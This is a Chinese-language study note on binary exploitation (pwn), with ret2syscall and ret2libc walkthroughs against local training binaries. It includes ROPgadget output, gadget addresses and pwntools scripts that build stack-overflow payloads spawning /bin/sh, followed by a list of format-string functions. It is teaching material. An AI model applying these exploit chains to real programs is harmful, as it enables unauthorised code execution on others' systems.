Pwn学习随笔(15)

可以看到有上述几个都可以控制 eax , 我选取第二个来作为 gadgets 。类似的 , 我们可以得到控制其它寄存器的 gadgets
此外 , 我们需要获得 /bin/sh 字符串对应的地址 。
?ret2syscall ROPgadget --binary rop--string '/bin/sh'Strings information============================================================0x080be408 : /bin/sh可以找到对应的地址 , 此外 , 还有 int 0x80 的地址 , 如下
?ret2syscall ROPgadget --binary rop--only 'int'Gadgets information============================================================0x08049421 : int 0x800x080938fe : int 0xbb0x080869b5 : int 0xf60x0807b4d4 : int 0xfcUnique gadgets found: 4同时 , 也找到对应的地址了 。下面就是对应的 payload , 其中 0xb 为 execve 对应的系统调用号 。
#!/usr/bin/env pythonfrom pwn import *sh = process('./rop')pop_eax_ret = 0x080bb196pop_edx_ecx_ebx_ret = 0x0806eb90int_0x80 = 0x08049421binsh = 0x80be408payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])#分别对应: 栈溢出大小(覆盖栈帧) , 返回地址eax寄存器的弹出 , eax参数即execve调用号 , 返回地址多个寄存器弹出 , edx参数 , ecx参数 , ebx参数binsh , 返回地址 int80sh.sendline(payload)sh.interactive()ret2libcret2libc 即控制函数的执行 libc 中的函数 , 通常是返回至某个函数的 plt 处或者函数的具体位置(即函数对应的 got表项的内容) 。一般情况下 , 我们会选择执行 system("/bin/sh") , 故而此时我们需要知道 system 函数的地址 。
简单例题
首先 , 我们可以检查一下程序的安全保护
?ret2libc1 checksec ret2libc1Arch:i386-32-littleRELRO:Partial RELROStack:No canary foundNX:NX enabledPIE:No PIE (0x8048000)源程序为 32 位 , 开启了 NX 保护 。下面来看一下程序源代码 , 确定漏洞位置
int __cdecl main(int argc, const char **argv, const char **envp){int v4; // [sp+1Ch] [bp-64h]@1setvbuf(stdout, 0, 2, 0);setvbuf(_bss_start, 0, 1, 0);puts("RET2LIBC >_<");gets((char *)&v4);return 0;}可以看到在执行 gets 函数的时候出现了栈溢出 。此外 , 利用 ropgadget , 我们可以查看是否有 /bin/sh 存在
?ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh'Strings information============================================================0x08048720 : /bin/sh确实存在 , 再次查找一下是否有 system 函数存在 。经在 ida 中查找 , 确实也存在 。
.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]那么 , 我们直接返回该处 , 即执行 system 函数 。相应的 payload 如下
#!/usr/bin/env pythonfrom pwn import *sh = process('./ret2libc1')binsh_addr = 0x8048720system_plt = 0x08048460payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])sh.sendline(payload)sh.interactive()这里我们需要注意函数调用栈的结构 , 如果是正常调用 system 函数 , 我们调用的时候会有一个对应的返回地址 , 这里以 'bbbb' 作为虚假的地址 , 其后参数对应的参数内容 。
格式化字符串函数基本介绍printf输出到 stdoutfprintf输出到指定 FILE 流vprintf根据参数列表格式化输出到 stdoutvfprintf根据参数列表格式化输出到指定 FILE 流sprintf输出到字符串snprintf输出指定字节数到字符串vsprintf根据参数列表格式化输出到字符串vsnprintf根据参数列表格式化输出指定字节到字符串setproctitle设置 argvsyslog输出日志err, verr, warn, vwarn 等 。。。【Pwn学习随笔】

经验总结扩展阅读